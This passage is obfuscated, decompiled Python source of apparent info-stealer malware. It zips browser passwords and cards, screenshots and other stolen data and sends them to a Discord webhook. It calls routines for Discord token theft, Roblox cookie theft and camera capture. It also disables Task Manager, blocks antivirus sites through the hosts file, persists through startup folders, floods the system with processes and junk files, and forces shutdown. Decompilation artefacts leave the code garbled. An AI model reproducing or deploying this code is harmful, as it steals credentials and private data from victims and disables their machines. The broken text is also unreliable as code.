Downloads_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGI
TVQFCUUMXDWDAP}.txt', 'w', encoding='utf-8') as f:
[Link]('\
n'.join(BSQIGWZDOZDFVCIZHNDOLVWXMSCUHUHROQFLDSWIEWVEYLUPTREXKTNGCUXIHSHXAOTHWVEZUFX
EOCUO))
if
CABMCTVWNBMKJXDBCAZZDRYZFXMQUWANOYJRCXIYZQEPCMSSKSHSKQPOKCLMEWUZHQRJDPTGVAWILOPUTGZ
DEGJLEHAQFYY:
with
open(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYM
KMJGITVQFCUUMXDWDAP}\\
Cards_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQF
CUUMXDWDAP}.txt', 'w', encoding='utf-8') as f:
[Link]('\
n'.join(CABMCTVWNBMKJXDBCAZZDRYZFXMQUWANOYJRCXIYZQEPCMSSKSHSKQPOKCLMEWUZHQRJDPTGVAW
ILOPUTGZDEGJLEHAQFYY))
with
ZipFile(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLM
BYMKMJGITVQFCUUMXDWDAP}.zip', 'w') as zipf:
for v4r_file in
[Link](f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFW
BLMBYMKMJGITVQFCUUMXDWDAP}'):

[Link]([Link](f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBO
LWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXDWDAP}', v4r_file), v4r_file)

def
send_files(OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGI
TVQFCUUMXDWDAP,
AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR)
:

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR.
send(embed=Embed(f'Browser Steal
`{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMX
DWDAP} \"{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZV
CSTBDBADQYN}\"`:', title=f"Found In **{'**,
**'.join(BYLCTZZAYLAGHBNCCKKDBOFSMZTBEKWDZWXYLGPKDTNRKYAWDODCXTLIVG)}**:```",
description='\
n'.join(tree(Path(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVH
IJEFLFWBLMBYMKMJGITVQFCUUMXDWDAP}'))) + '```',
color=KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIH
OWXJCTAHXEGQFSQMNVFUX).set_footer(text=GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLB
JFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM,
icon_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP),
file=File(fp=f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFL
FWBLMBYMKMJGITVQFCUUMXDWDAP}.zip',
filename=f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBL
MBYMKMJGITVQFCUUMXDWDAP}.zip'),
username=SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCB
PACAWTNFLRWEFDSOILHWHMC,
avatar_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

def
clean_files(OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJG
ITVQFCUUMXDWDAP):

[Link](f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEF
LFWBLMBYMKMJGITVQFCUUMXDWDAP}')
[Link](f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWB
LMBYMKMJGITVQFCUUMXDWDAP}.zip')

def
tree(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKP
OKNESZPRJLKCRSNDSFR: Path, v4r_prefix: str='', v4r_midfix_folder: str='📂 - ',
v4r_midfix_file: str='📄 - '):
v4r_pipes = {'space': ' ', 'branch': '│ ', 'tee': '├── ', 'last': '└──
'}
if v4r_prefix == '':
yield (v4r_midfix_folder +
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
[Link])
contents =
list(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKP
[Link]())
pointers = [v4r_pipes['tee']] + (len(contents) + 1) * [v4r_pipes['last']]
** 1
for v4r_pointer,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR in zip(pointers, contents):
if
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR.is_dir():
yield f"{v4r_prefix}{v4r_pointer}{v4r_midfix_folder}
{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNE
[Link]}
({len(list(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNS
[Link]('**/*')))} files, {sum(([Link]().st_size for f in
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
[Link]('**/*') if f.is_file())) + 1024:.2f} kb)"
CVSNTONMCYWQPPDYNXXUAUZEVUPTLFSUYSRSZYHRNWYHVHJELWOTNSension =
v4r_pipes['branch'] if v4r_pointer == v4r_pipes['tee'] else v4r_pipes['space']
yield from
tree(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKP
OKNESZPRJLKCRSNDSFR, prefix=v4r_prefix +
CVSNTONMCYWQPPDYNXXUAUZEVUPTLFSUYSRSZYHRNWYHVHJELWOTNSension)
else: # inserted
yield f'{v4r_prefix}{v4r_pointer}{v4r_midfix_file}
{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNE
[Link]}
({JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
[Link]().st_size + 1024:.2f} kb)'
Br0ws53r_Main()

def Op3n_U53r_Pr0fi13_53tting5():
import subprocess
import time
try:
[Link](['control', 'userpasswords2'])
[Link](2)
except:
return None

def Scr33n5h0t():
import os
from PIL import ImageGrab
from discord import SyncWebhook, Embed, File
try:
RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
SMRYLCZJHLFP_file_screen =
f'Screenshot_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKM
JGITVQFCUUMXDWDAP}.png'

def
capture(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR):
v4r_image = [Link](bbox=None, include_layered_windows=False,
all_screens=True, xdisplay=None)

v4r_image.save(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR)

JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR_file_screen = f"{[Link]([Link]('USERPROFILE'),
'Documents')}\\
{RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNX
SSMRYLCZJHLFP_file_screen}"

capture(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR_file_screen)
AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC =
Embed(title=f'Screenshot
`{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMX
DWDAP} \"{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZV
CSTBDBADQYN}\"`:',
color=KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIH
OWXJCTAHXEGQFSQMNVFUX)

AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC.set_image(url=f'attachme
nt://
{RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNX
SSMRYLCZJHLFP_file_screen}')

AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC.set_footer(text=GCXPFMSA
IYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM,
icon_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR
=
SyncWebhook.from_url(TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRX
IAMFFEBCP)

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR.
send(embed=AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC,
file=File(f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFY
NSOAKOKPOKNESZPRJLKCRSNDSFR_file_screen}',
filename=RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITK
FKDZQFNXSSMRYLCZJHLFP_file_screen),
username=SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCB
PACAWTNFLRWEFDSOILHWHMC,
avatar_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)
if
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR_file_screen):

[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSO
AKOKPOKNESZPRJLKCRSNDSFR_file_screen)
except Exception as e:
pass # postinserted
else: # inserted
try:
pass # postinserted
except:

JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR_file_screen =
RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
SMRYLCZJHLFP_file_screen

capture(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR_file_screen)

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR
=
SyncWebhook.from_url(TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRX
IAMFFEBCP)
AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC =
Embed(title=f'Screenshot
`{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMX
DWDAP} \"{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZV
CSTBDBADQYN}\"`:', description=f'Impossible to take screenshot.\n**Error:** `{e}`',
color=KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIH
OWXJCTAHXEGQFSQMNVFUX)

AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC.set_footer(text=GCXPFMSA
IYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM,
icon_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR.
send(embed=AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC,
username=SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCB
PACAWTNFLRWEFDSOILHWHMC,
avatar_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

def B10ck_T45k_M4n4g3r():
import psutil
import subprocess
import os
pass
for proc in psutil.process_iter(['pid', 'name']):
if [Link]['name'] == '[Link]':
[Link]()
break
[Link]('reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f',
shell=True)
Clear()

def B10ck_W3b5it3():
import os
pass
try:
GUTCRYPBLWVGVXSVLNJEZJRWGYTHLEPVLXAIIXIEKYUOMITSDVCT = [Link]()

LPIJSBIKCQRWVPFTBNOLYVLGGJXEWISQEVZNWBQMZWJJUFFTEFAYZGKFDCGSBRLUSAVJNAAOLKRTJSMWXAZ
= [Link](GUTCRYPBLWVGVXSVLNJEZJRWGYTHLEPVLXAIIXIEKYUOMITSDVCT)[0]

def
b10ck_w3b5it3(WFDNUEQQUNKIJCRGNUBXLZHTJIAIBYLKDCVGPAIAAEWVLOHHPRYYCHRSRNYHGXSKIQNJT
VDVWZLYIHBSXJYHGTQQLEFYZBVZ):
v4r_hosts_path =
f'{LPIJSBIKCQRWVPFTBNOLYVLGGJXEWISQEVZNWBQMZWJJUFFTEFAYZGKFDCGSBRLUSAVJNAAOLKRTJSMW
XAZ}\\Windows\\System32\\drivers\\etc\\hosts'
if [Link](v4r_hosts_path):
break
v4r_hosts_path = 'C:\\Windows\\System32\\drivers\\etc\\hosts'
v4r_redirect = '[Link]'
with open(v4r_hosts_path, 'a') as v4r_file:
v4r_file.write('\n' % v4r_redirect + ' ' %
WFDNUEQQUNKIJCRGNUBXLZHTJIAIBYLKDCVGPAIAAEWVLOHHPRYYCHRSRNYHGXSKIQNJTVDVWZLYIHBSXJY
HGTQQLEFYZBVZ)

BOBTCAASKCOZIZCDPZCCAZOKWYDXGCBVSGAVZJVVHNGZVFTAXZDZFMUNQSGTTIXKOKJRBDMFLCUTFHRHBSN
QLLIQMAMGWDHPOXP = ['[Link]', '[Link]',
'[Link]/gui/home/upload', '[Link]', '[Link]', '[Link]',
'[Link]', '[Link]', '[Link]', '[Link]',
'[Link]', '[Link]', '[Link]', '[Link]', '[Link]',
'[Link]', '[Link]', '[Link]', '[Link]', '[Link]',
'[Link]', '[Link]', '[Link]', '[Link]', '[Link]',
'[Link]', '[Link]', '[Link]', '[Link]', '[Link]',
'[Link]']
for v4r_w3b51t3_t0_8l0ck in
BOBTCAASKCOZIZCDPZCCAZOKWYDXGCBVSGAVZJVVHNGZVFTAXZDZFMUNQSGTTIXKOKJRBDMFLCUTFHRHBSN
QLLIQMAMGWDHPOXP:
b10ck_w3b5it3(v4r_w3b51t3_t0_8l0ck)
except:
return None

def F4k3_3rr0r():
import tkinter as tk
from tkinter import messagebox
root = [Link]()
[Link]()
[Link]('LOL', 'fake error by killer')

def Sp4m_0p3n_Pr0gr4m():
import subprocess
import threading

def sp4m():
programs = ['[Link]', '[Link]', '[Link]', '[Link]']
for program in programs:
for _ in range(1):
[Link](program)

def request():
threads = []
try:
for _ in range(int(100)):
t = [Link](target=sp4m)
[Link]()
[Link](t)
except:
pass
 for thread in threads:
[Link]()
request()

def Sp4m_Cr34t_Fil3():
import random
import string
import threading
ext = ['.exe', '.py', '.txt', '.png', '.ico', '.bat', '.js', '.php', '.html',
'.css', '.mp3', '.mp4', '.mov', '.jpg', '.pdf', '.troll', '.cooked', '.lol',
'.funny', '.virus', '.[Link]', '.redtiger', '.redtiger', '.redtiger']

def Cr43t():
file_name = ''.join(([Link](string.ascii_uppercase + [Link])
for _ in range([Link](10, 50)))) or [Link](ext)
with open(file_name, 'w', encoding='utf-8') as file:
[Link](''.join(([Link](string.ascii_letters + [Link]
+ [Link]) for i in range(999999)))) +
[Link](9999999999999999999999999, 9999999999999999999999999999999999999999)

def request():
threads = []
try:
for _ in range(int(100)):
t = [Link](target=Cr43t)
[Link]()
[Link](t)
except:
pass
for thread in threads:
[Link]()
request()

def Shutd0wn():
import sys
import os
if [Link]('win'):
[Link]('shutdown /s /t 15')
else: # inserted
if [Link]('linux'):
[Link]('shutdown -h +0.25')

def St4rtup():
import os
import sys
import shutil
try:

WGETDBVNTUQVDRFGRXJIHUPVRLVCAHMHAPDBDBYIAZAPPEBESMSVOCOOVDMWTXHBMTCIKDJXNSCEYIMPLPT
AOHHCZMCZB = [Link]([Link][0])
if
WGETDBVNTUQVDRFGRXJIHUPVRLVCAHMHAPDBDBYIAZAPPEBESMSVOCOOVDMWTXHBMTCIKDJXNSCEYIMPLPT
[Link]('.exe'):
CVSNTONMCYWQPPDYNXXUAUZEVUPTLFSUYSRSZYHRNWYHVHJELWOTNS = 'exe'
else: # inserted
if
WGETDBVNTUQVDRFGRXJIHUPVRLVCAHMHAPDBDBYIAZAPPEBESMSVOCOOVDMWTXHBMTCIKDJXNSCEYIMPLPT
[Link]('.py'):
CVSNTONMCYWQPPDYNXXUAUZEVUPTLFSUYSRSZYHRNWYHVHJELWOTNS = 'py'
 JWBUKGEHDCREBXRSCSYHGYYUBUGWFKUMHDNCPEERKQZUXOEDACKIMUFWCQSZOWMHJLIBCNBOYHA
= f'ㅤ.{CVSNTONMCYWQPPDYNXXUAUZEVUPTLFSUYSRSZYHRNWYHVHJELWOTNS}'
if [Link]('win'):

ROBDTAMITJLSNLQNKTECNRVJUEHAWUUEDNVXCFUQDAEKEBTDKHVNWJZXUKSAOOLTEYEOZRSGOTCMILMC =
[Link]([Link]('APPDATA'), 'Microsoft', 'Windows', 'Start Menu',
'Programs', 'Startup')
else: # inserted
if [Link]('darwin'):

ROBDTAMITJLSNLQNKTECNRVJUEHAWUUEDNVXCFUQDAEKEBTDKHVNWJZXUKSAOOLTEYEOZRSGOTCMILMC =
[Link]([Link]('~'), 'Library', 'LaunchAgents')
else: # inserted
if [Link]('linux'):

ROBDTAMITJLSNLQNKTECNRVJUEHAWUUEDNVXCFUQDAEKEBTDKHVNWJZXUKSAOOLTEYEOZRSGOTCMILMC =
[Link]([Link]('~'), '.config', 'autostart')

JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR_new_file =
[Link](ROBDTAMITJLSNLQNKTECNRVJUEHAWUUEDNVXCFUQDAEKEBTDKHVNWJZXUKSAOOLTEYEOZR
SGOTCMILMC,
JWBUKGEHDCREBXRSCSYHGYYUBUGWFKUMHDNCPEERKQZUXOEDACKIMUFWCQSZOWMHJLIBCNBOYHA)

[Link](WGETDBVNTUQVDRFGRXJIHUPVRLVCAHMHAPDBDBYIAZAPPEBESMSVOCOOVDMWTXHBMTCIKDJ
XNSCEYIMPLPTAOHHCZMCZB,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR_new_file)

[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOA
KOKPOKNESZPRJLKCRSNDSFR_new_file, 511)
except:
return None

def Sp4m_Opti0ns():
import keyboard
while True:
try:
B10ck_M0u53()
Sp4m_0p3n_Pr0gr4m()
Sp4m_Cr34t_Fil3()
if keyboard.is_pressed('alt') and keyboard.is_pressed('alt gr'):
Unb10ck_K3y()
return
except:
pass

def R3st4rt():
while True:
[Link](300)

[Link](TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEB
CP, json={'content': '****╔════════════════════Restart═══════════════════╗****',
'username':
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC, 'avatar_url':
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP})
Sy5t3m_Inf0()
except:
 pass
Di5c0rd_T0k3n()
except:
pass
Di5c0rd_inj3c710n()
except:
pass
Br0w53r_5t341()
except:
pass
R0b10x_C00ki3()
except:
pass
C4m3r4_C4ptur3()
except:
pass
Scr33n5h0t()
except:
pass
Clear()

[Link](TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEB
CP, json={'content':
f'****╚══════════════════{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTX
OGOXZVWVAEUOZNZVCSTBDBADQYN}══════════════════╝****', 'username':
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC, 'avatar_url':
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP})
[Link](TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEB
CP, json={'content': '****╔═════════════════Victim Affected═════════════════╗****',
'username':
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC, 'avatar_url':
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP})
except:
pass # postinserted
pass
[Link](target=B10ck_K3y).start()
except:
pass # postinserted
pass
[Link](target=B10ck_T45k_M4n4g3r).start()
except:
pass # postinserted
pass
[Link](target=B10ck_W3b5it3).start()
except:
pass # postinserted
pass
[Link](target=St4rtup).start()
except:
pass # postinserted
pass
Sy5t3m_Inf0()
except:
pass # postinserted
pass
Di5c0rd_T0k3n()
except:
 pass # postinserted
pass
Di5c0rd_inj3c710n()
except:
pass # postinserted
pass
Br0w53r_5t341()
except:
pass # postinserted
pass
R0b10x_C00ki3()
except:
pass # postinserted
pass
C4m3r4_C4ptur3()
except:
pass # postinserted
pass
Op3n_U53r_Pr0fi13_53tting5()
except:
pass # postinserted
pass
Scr33n5h0t()
except:
pass # postinserted
pass
[Link](TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEB
CP, json={'content':
f'****╚══════════════════{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTX
OGOXZVWVAEUOZNZVCSTBDBADQYN}══════════════════╝****', 'username':
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC, 'avatar_url':
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP})
except:
pass # postinserted
pass
[Link](target=Sp4m_Opti0ns).start()
except:
pass # postinserted
pass
[Link](target=R3st4rt).start()
except:
pass # postinserted
pass
[Link](target=F4k3_3rr0r).start()
except:
pass # postinserted
pass
[Link](target=Shutd0wn).start()
except:
pass # postinserted
pass
Clear()